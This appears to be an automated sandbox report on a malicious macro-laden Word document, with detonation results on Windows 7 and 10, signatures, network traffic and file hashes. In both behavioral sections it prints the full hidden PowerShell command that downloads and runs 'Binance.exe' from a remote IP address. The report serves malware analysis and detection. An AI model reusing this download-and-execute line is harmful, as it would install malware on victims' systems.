Malware Analysis Report

2025-01-22 19:11

Sample ID 240723-1pkmnstdkd
Target bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411
SHA256 bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411

Threat Level: Known bad

The file bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Suspicious Office macro

Office macro that triggers on suspicious action

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-23 21:49

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-23 21:49

Reported

2024-07-23 21:50

Platform

win7-20240705-en

Max time kernel

24s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('http://13.48.10.153/Binance.exe')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"

Network

N/A

Files

memory/1712-0-0x000000002F801000-0x000000002F802000-memory.dmp

memory/1712-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1712-2-0x000000007108D000-0x0000000071098000-memory.dmp

memory/1712-6-0x0000000005A60000-0x0000000005B60000-memory.dmp

memory/1712-10-0x000000007108D000-0x0000000071098000-memory.dmp

memory/1712-11-0x0000000005A60000-0x0000000005B60000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-23 21:49

Reported

2024-07-23 21:50

Platform

win10v2004-20240704-en

Max time kernel

46s

Max time network

62s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('http://13.48.10.153/Binance.exe')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
SE 13.48.10.153:80 13.48.10.153 tcp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 153.10.48.13.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 2.17.178.52.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.17.209.140:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 140.209.17.2.in-addr.arpa udp
US 8.8.8.8:53 57.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp

Files

memory/900-0-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

memory/900-1-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

memory/900-2-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

memory/900-4-0x00007FF918ACD000-0x00007FF918ACE000-memory.dmp

memory/900-3-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

memory/900-6-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-7-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-8-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-5-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

memory/900-9-0x00007FF8D6150000-0x00007FF8D6160000-memory.dmp

memory/900-10-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-12-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-13-0x00007FF8D6150000-0x00007FF8D6160000-memory.dmp

memory/900-17-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-18-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-16-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-15-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-14-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-11-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-28-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-29-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/1728-30-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pem5su41.thn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1728-34-0x0000019BCCBF0000-0x0000019BCCC12000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 71720b3e8c0df10e152038cac04fc632
SHA1 310801167d4b892bef94f39711efa53694c24b88
SHA256 7884c3f3840160f2c33bb12b3f9eb4fcd8ec14bf261a19e5290ff2ea39aa5039
SHA512 e0c2815126e0a086b736e9ca1422bbc598f46261ba5b680704b28ae5ee87d7a0efb16185f5aab989416bf7c216900f0126909f81f31dd7d771cb2cf68eedf6e9

C:\Users\Admin\AppData\Local\Temp\TCD52A7.tmp\gb.xsl

MD5 51d32ee5bc7ab811041f799652d26e04
SHA1 412193006aa3ef19e0a57e16acf86b830993024a
SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

memory/900-169-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/900-170-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

memory/1728-171-0x00007FF918A30000-0x00007FF918C25000-memory.dmp